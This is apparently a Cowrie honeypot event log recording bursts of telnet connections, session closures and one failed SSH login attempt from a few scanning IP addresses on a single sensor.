{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39260,"dst_ip":"10.17.0.5","dst_port":23,"session":"5124832ebb30","protocol":"telnet","message":"New connection: 104.167.8.156:39260 (10.17.0.5:23) [session: 5124832ebb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:40.182561Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a326490361","protocol":"telnet","message":"New connection: 104.167.8.156:43064 (10.17.0.5:23) [session: e8a326490361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:41.407813Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43966,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd2a0708b23","protocol":"telnet","message":"New connection: 104.167.8.156:43966 (10.17.0.5:23) [session: 4fd2a0708b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:41.703835Z"}
{"eventid":"cowrie.session.closed","duration":30.76390767097473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:42.333336Z","src_ip":"108.61.251.217","session":"bc45c422d3d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93386745452881,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:43.790877Z","src_ip":"64.227.9.242","session":"bae2ad995081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48006,"dst_ip":"10.17.0.5","dst_port":23,"session":"33252700abd2","protocol":"telnet","message":"New connection: 108.61.251.217:48006 (10.17.0.5:23) [session: 33252700abd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:43.933495Z"}
{"eventid":"cowrie.session.closed","duration":53.11131834983826,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:45.192829Z","src_ip":"188.208.141.113","session":"5e3e31e9f517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55832,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b80adebdd3","protocol":"telnet","message":"New connection: 104.167.8.156:55832 (10.17.0.5:23) [session: 36b80adebdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:45.576741Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58738,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d461a442973","protocol":"telnet","message":"New connection: 104.167.8.156:58738 (10.17.0.5:23) [session: 7d461a442973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:46.619985Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34034,"dst_ip":"10.17.0.5","dst_port":23,"session":"43fc39f6f551","protocol":"telnet","message":"New connection: 104.167.8.156:34034 (10.17.0.5:23) [session: 43fc39f6f551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:47.771588Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34132,"dst_ip":"10.17.0.5","dst_port":23,"session":"622f07512d08","protocol":"telnet","message":"New connection: 104.167.8.156:34132 (10.17.0.5:23) [session: 622f07512d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:47.805592Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":52410,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ce8ef6744c","protocol":"telnet","message":"New connection: 108.61.251.217:52410 (10.17.0.5:23) [session: 31ce8ef6744c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:47.970824Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33712,"dst_ip":"10.17.0.5","dst_port":23,"session":"8409079a19e5","protocol":"telnet","message":"New connection: 188.208.141.113:33712 (10.17.0.5:23) [session: 8409079a19e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:48.106243Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35354,"dst_ip":"10.17.0.5","dst_port":23,"session":"f77eba310008","protocol":"telnet","message":"New connection: 104.167.8.156:35354 (10.17.0.5:23) [session: f77eba310008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:48.189322Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35474,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f9b09df8ea9","protocol":"telnet","message":"New connection: 104.167.8.156:35474 (10.17.0.5:23) [session: 9f9b09df8ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:48.218889Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35640,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e0112bbde9","protocol":"telnet","message":"New connection: 104.167.8.156:35640 (10.17.0.5:23) [session: 36e0112bbde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:48.266336Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35856,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4615e42496c","protocol":"telnet","message":"New connection: 104.167.8.156:35856 (10.17.0.5:23) [session: d4615e42496c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:48.321444Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36368,"dst_ip":"10.17.0.5","dst_port":23,"session":"15641cadd6d1","protocol":"telnet","message":"New connection: 104.167.8.156:36368 (10.17.0.5:23) [session: 15641cadd6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:48.474563Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e082d0037376","protocol":"telnet","message":"New connection: 104.167.8.156:56214 (10.17.0.5:23) [session: e082d0037376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:48.708718Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39252,"dst_ip":"10.17.0.5","dst_port":23,"session":"56339e79121b","protocol":"telnet","message":"New connection: 104.167.8.156:39252 (10.17.0.5:23) [session: 56339e79121b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:49.343690Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":52422,"dst_ip":"10.17.0.5","dst_port":23,"session":"5507c4f1fdf3","protocol":"telnet","message":"New connection: 108.61.251.217:52422 (10.17.0.5:23) [session: 5507c4f1fdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:49.751011Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41142,"dst_ip":"10.17.0.5","dst_port":23,"session":"7afe9bd4e80c","protocol":"telnet","message":"New connection: 104.167.8.156:41142 (10.17.0.5:23) [session: 7afe9bd4e80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:49.913595Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2f2b1caa3a","protocol":"telnet","message":"New connection: 188.208.141.113:58034 (10.17.0.5:23) [session: 0c2f2b1caa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:51.965508Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50750,"dst_ip":"10.17.0.5","dst_port":23,"session":"5237240476d3","protocol":"telnet","message":"New connection: 104.167.8.156:50750 (10.17.0.5:23) [session: 5237240476d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:52.900112Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7d4b00e0c0","protocol":"telnet","message":"New connection: 188.208.141.113:58038 (10.17.0.5:23) [session: 3d7d4b00e0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:53.052237Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":55498,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eecb3f07889","protocol":"ssh","message":"New connection: 1.235.192.214:55498 (10.17.0.5:22) [session: 2eecb3f07889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:55.155825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:55.160683Z","src_ip":"1.235.192.214","session":"2eecb3f07889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:55.348173Z","src_ip":"1.235.192.214","session":"2eecb3f07889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"test123","message":"login attempt [ftptest/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:56.125639Z","src_ip":"1.235.192.214","session":"2eecb3f07889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41986,"dst_ip":"10.17.0.5","dst_port":23,"session":"23bf484ea1ac","protocol":"telnet","message":"New connection: 108.61.251.217:41986 (10.17.0.5:23) [session: 23bf484ea1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:56.240606Z"}
{"eventid":"cowrie.session.closed","duration":31.774002075195312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:57.068887Z","src_ip":"108.61.251.217","session":"522b257f4c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41998,"dst_ip":"10.17.0.5","dst_port":23,"session":"982970bfcdb2","protocol":"telnet","message":"New connection: 108.61.251.217:41998 (10.17.0.5:23) [session: 982970bfcdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:57.174679Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:57.314578Z","src_ip":"1.235.192.214","session":"2eecb3f07889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58044,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16a1265c572","protocol":"telnet","message":"New connection: 188.208.141.113:58044 (10.17.0.5:23) [session: c16a1265c572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:58.298450Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"8598bacfdfbd","protocol":"telnet","message":"New connection: 188.208.141.113:58058 (10.17.0.5:23) [session: 8598bacfdfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:58.664803Z"}
{"eventid":"cowrie.session.closed","duration":38.56795525550842,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:59.826296Z","src_ip":"188.208.141.113","session":"c55943ac3767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45340,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed9b37c75a11","protocol":"telnet","message":"New connection: 104.167.8.156:45340 (10.17.0.5:23) [session: ed9b37c75a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:59.925252Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58072,"dst_ip":"10.17.0.5","dst_port":23,"session":"92bf5feff94f","protocol":"telnet","message":"New connection: 188.208.141.113:58072 (10.17.0.5:23) [session: 92bf5feff94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:59.936708Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42638,"dst_ip":"10.17.0.5","dst_port":23,"session":"e247262d1bba","protocol":"telnet","message":"New connection: 104.167.8.156:42638 (10.17.0.5:23) [session: e247262d1bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:00.089025Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a10d3f8f7c","protocol":"telnet","message":"New connection: 108.61.251.217:42014 (10.17.0.5:23) [session: 94a10d3f8f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:00.134851Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46898,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d11e75f866","protocol":"telnet","message":"New connection: 104.167.8.156:46898 (10.17.0.5:23) [session: 38d11e75f866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:00.455347Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44036,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4fb71e1e7ce","protocol":"telnet","message":"New connection: 104.167.8.156:44036 (10.17.0.5:23) [session: a4fb71e1e7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:00.559289Z"}
{"eventid":"cowrie.session.closed","duration":39.688936948776245,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:01.618555Z","src_ip":"188.208.141.113","session":"8b38d1dfc8c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51816,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5a2f24aaa1","protocol":"telnet","message":"New connection: 104.167.8.156:51816 (10.17.0.5:23) [session: ed5a2f24aaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:02.095075Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47946,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1c313361cf","protocol":"telnet","message":"New connection: 104.167.8.156:47946 (10.17.0.5:23) [session: 4e1c313361cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:03.800772Z"}
{"eventid":"cowrie.session.closed","duration":31.288432359695435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:03.872395Z","src_ip":"104.167.8.156","session":"913b3a6a76be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37834,"dst_ip":"10.17.0.5","dst_port":23,"session":"92c132543aca","protocol":"telnet","message":"New connection: 188.208.141.113:37834 (10.17.0.5:23) [session: 92c132543aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:04.204909Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58494,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd878f9d35c","protocol":"telnet","message":"New connection: 104.167.8.156:58494 (10.17.0.5:23) [session: ccd878f9d35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:04.284952Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":42022,"dst_ip":"10.17.0.5","dst_port":23,"session":"de0495859af2","protocol":"telnet","message":"New connection: 108.61.251.217:42022 (10.17.0.5:23) [session: de0495859af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:04.376626Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b62125d995a2","protocol":"telnet","message":"New connection: 104.167.8.156:56406 (10.17.0.5:23) [session: b62125d995a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:04.629823Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":42038,"dst_ip":"10.17.0.5","dst_port":23,"session":"29f8f01503c8","protocol":"telnet","message":"New connection: 108.61.251.217:42038 (10.17.0.5:23) [session: 29f8f01503c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:04.650640Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":42046,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4b2a9a9ddc","protocol":"telnet","message":"New connection: 108.61.251.217:42046 (10.17.0.5:23) [session: 9b4b2a9a9ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:04.856508Z"}
{"eventid":"cowrie.session.closed","duration":120.00172829627991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:05.357214Z","src_ip":"36.82.7.58","session":"5e8a354a5d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51484537124634,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:05.410721Z","src_ip":"188.208.141.113","session":"6d96b4befd1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59422,"dst_ip":"10.17.0.5","dst_port":23,"session":"861103f4b2f4","protocol":"telnet","message":"New connection: 104.167.8.156:59422 (10.17.0.5:23) [session: 861103f4b2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:05.587454Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35238,"dst_ip":"10.17.0.5","dst_port":23,"session":"a74f4adb498e","protocol":"telnet","message":"New connection: 104.167.8.156:35238 (10.17.0.5:23) [session: a74f4adb498e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:05.799001Z"}
{"eventid":"cowrie.session.closed","duration":7.172541856765747,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:05.837223Z","src_ip":"188.208.141.113","session":"8598bacfdfbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.90405869483948,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:05.846192Z","src_ip":"188.208.141.113","session":"f75576c2c411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57202,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd6a50a3ad89","protocol":"telnet","message":"New connection: 104.167.8.156:57202 (10.17.0.5:23) [session: cd6a50a3ad89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:06.886984Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbdc230fcf4a","protocol":"telnet","message":"New connection: 188.208.141.113:37850 (10.17.0.5:23) [session: dbdc230fcf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:06.956585Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37856,"dst_ip":"10.17.0.5","dst_port":23,"session":"6964a9756870","protocol":"telnet","message":"New connection: 188.208.141.113:37856 (10.17.0.5:23) [session: 6964a9756870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:08.256685Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47692,"dst_ip":"10.17.0.5","dst_port":23,"session":"968a2cb0b1be","protocol":"telnet","message":"New connection: 104.167.8.156:47692 (10.17.0.5:23) [session: 968a2cb0b1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:09.639224Z"}
{"eventid":"cowrie.session.closed","duration":39.8748083114624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:09.740876Z","src_ip":"188.208.141.113","session":"4074d0a6633f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48524,"dst_ip":"10.17.0.5","dst_port":23,"session":"87b48c0c9758","protocol":"telnet","message":"New connection: 104.167.8.156:48524 (10.17.0.5:23) [session: 87b48c0c9758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:09.867838Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46806,"dst_ip":"10.17.0.5","dst_port":23,"session":"614a9cce96c8","protocol":"telnet","message":"New connection: 104.167.8.156:46806 (10.17.0.5:23) [session: 614a9cce96c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:10.326764Z"}
{"eventid":"cowrie.session.closed","duration":30.695775747299194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:10.409888Z","src_ip":"104.167.8.156","session":"34ee5e675db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46098,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cdb63a4e328","protocol":"telnet","message":"New connection: 108.61.251.217:46098 (10.17.0.5:23) [session: 9cdb63a4e328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:10.724211Z"}
{"eventid":"cowrie.session.closed","duration":31.733397006988525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:10.832212Z","src_ip":"104.167.8.156","session":"42244f289cc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.436481952667236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:10.865168Z","src_ip":"104.167.8.156","session":"abb403b1e5ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01560091972351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:11.198058Z","src_ip":"104.167.8.156","session":"5124832ebb30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18376135826111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:11.277077Z","src_ip":"104.167.8.156","session":"8573722b6e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772387504577637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:12.476103Z","src_ip":"104.167.8.156","session":"4fd2a0708b23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21501111984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:12.622714Z","src_ip":"104.167.8.156","session":"e8a326490361","protocol":"telnet"}
